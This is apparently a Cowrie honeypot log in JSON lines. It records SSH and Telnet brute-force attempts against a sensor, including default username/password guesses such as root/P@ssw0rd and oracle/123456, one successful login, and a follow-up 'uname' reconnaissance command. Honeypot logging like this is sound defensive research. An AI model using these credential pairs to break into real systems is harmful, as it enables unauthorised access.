{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:02.994560Z","src_ip":"176.65.132.129","session":"ae1e94835223","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zimbra","password":"zimbra","message":"login attempt [zimbra/zimbra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:03.240680Z","src_ip":"176.65.132.129","session":"ae1e94835223","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:04.325082Z","src_ip":"176.65.132.129","session":"ae1e94835223","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.508567333221436,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:05.045420Z","src_ip":"45.81.23.16","session":"7051ab97b256","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.7770819664001465,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:06.177532Z","src_ip":"45.81.23.16","session":"36f128f6d323","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45746,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba34fb55b7ac","protocol":"ssh","message":"New connection: 176.65.132.129:45746 (10.17.0.5:22) [session: ba34fb55b7ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:06.272803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:06.277412Z","src_ip":"176.65.132.129","session":"ba34fb55b7ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:06.405344Z","src_ip":"176.65.132.129","session":"ba34fb55b7ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:06.758948Z","src_ip":"176.65.132.129","session":"ba34fb55b7ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:07.843734Z","src_ip":"176.65.132.129","session":"ba34fb55b7ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.70195746421814,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:08.539714Z","src_ip":"45.81.23.16","session":"cedca26587bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00773477554321,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:08.552559Z","src_ip":"38.60.198.128","session":"ab3043552c91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45752,"dst_ip":"10.17.0.5","dst_port":22,"session":"516299b4c959","protocol":"ssh","message":"New connection: 176.65.132.129:45752 (10.17.0.5:22) [session: 516299b4c959]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:09.781865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:09.786018Z","src_ip":"176.65.132.129","session":"516299b4c959","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:09.870287Z","src_ip":"176.65.132.129","session":"516299b4c959","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba123456","message":"login attempt [dmdba/dmdba123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:10.124287Z","src_ip":"176.65.132.129","session":"516299b4c959","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":50796,"dst_ip":"159.203.135.109","dst_port":23,"session":"09d66ac08378","protocol":"telnet","message":"New connection: 38.60.198.128:50796 (159.203.135.109:23) [session: 09d66ac08378]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:10.168928Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:11.330922Z","src_ip":"176.65.132.129","session":"516299b4c959","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":36560,"dst_ip":"10.17.0.5","dst_port":23,"session":"a172e77e3aae","protocol":"telnet","message":"New connection: 38.54.119.93:36560 (10.17.0.5:23) [session: a172e77e3aae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:11.647896Z"}
{"eventid":"cowrie.session.closed","duration":50.71280026435852,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:11.943186Z","src_ip":"38.54.119.93","session":"8fabc3123cc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":49336,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b831fd9a9de","protocol":"telnet","message":"New connection: 45.81.23.16:49336 (10.17.0.5:23) [session: 3b831fd9a9de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:12.984815Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45768,"dst_ip":"10.17.0.5","dst_port":22,"session":"84c67723fd6c","protocol":"ssh","message":"New connection: 176.65.132.129:45768 (10.17.0.5:22) [session: 84c67723fd6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:13.123819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:13.128894Z","src_ip":"176.65.132.129","session":"84c67723fd6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:13.210726Z","src_ip":"176.65.132.129","session":"84c67723fd6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1234","message":"login attempt [minecraft/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:13.456337Z","src_ip":"176.65.132.129","session":"84c67723fd6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:14.540817Z","src_ip":"176.65.132.129","session":"84c67723fd6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":56932,"dst_ip":"159.203.135.109","dst_port":23,"session":"44bdc99a3855","protocol":"telnet","message":"New connection: 38.60.198.128:56932 (159.203.135.109:23) [session: 44bdc99a3855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:15.081474Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":58046,"dst_ip":"159.203.135.109","dst_port":23,"session":"845d7d568282","protocol":"telnet","message":"New connection: 192.211.53.160:58046 (159.203.135.109:23) [session: 845d7d568282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:15.418907Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58736,"dst_ip":"10.17.0.5","dst_port":22,"session":"13286962a3c5","protocol":"ssh","message":"New connection: 176.65.132.129:58736 (10.17.0.5:22) [session: 13286962a3c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:16.620838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:16.644106Z","src_ip":"176.65.132.129","session":"13286962a3c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:16.706274Z","src_ip":"176.65.132.129","session":"13286962a3c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"g","password":"g","message":"login attempt [g/g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:17.021736Z","src_ip":"176.65.132.129","session":"13286962a3c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.71334218978882,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:17.670287Z","src_ip":"38.54.119.93","session":"fe02c2d6678d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:18.105493Z","src_ip":"176.65.132.129","session":"13286962a3c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58742,"dst_ip":"10.17.0.5","dst_port":22,"session":"e75a6b8f8b02","protocol":"ssh","message":"New connection: 176.65.132.129:58742 (10.17.0.5:22) [session: e75a6b8f8b02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:19.917011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:19.922865Z","src_ip":"176.65.132.129","session":"e75a6b8f8b02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:20.005460Z","src_ip":"176.65.132.129","session":"e75a6b8f8b02","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"123456","message":"login attempt [oracle/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:20.253463Z","src_ip":"176.65.132.129","session":"e75a6b8f8b02","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:20.459013Z","src_ip":"176.65.132.129","session":"e75a6b8f8b02","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:20.462693Z","src_ip":"176.65.132.129","session":"e75a6b8f8b02","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:20.547675Z","src_ip":"176.65.132.129","session":"e75a6b8f8b02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:20.553154Z","src_ip":"176.65.132.129","session":"e75a6b8f8b02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58758,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2514d95f6ec","protocol":"ssh","message":"New connection: 176.65.132.129:58758 (10.17.0.5:22) [session: e2514d95f6ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:23.291258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:23.296049Z","src_ip":"176.65.132.129","session":"e2514d95f6ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:23.379720Z","src_ip":"176.65.132.129","session":"e2514d95f6ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456789","message":"login attempt [debian/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:23.631165Z","src_ip":"176.65.132.129","session":"e2514d95f6ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:24.718117Z","src_ip":"176.65.132.129","session":"e2514d95f6ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42936,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd5002e1be24","protocol":"ssh","message":"New connection: 176.65.132.129:42936 (10.17.0.5:22) [session: fd5002e1be24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:26.761544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:26.800788Z","src_ip":"176.65.132.129","session":"fd5002e1be24","protocol":"ssh"}
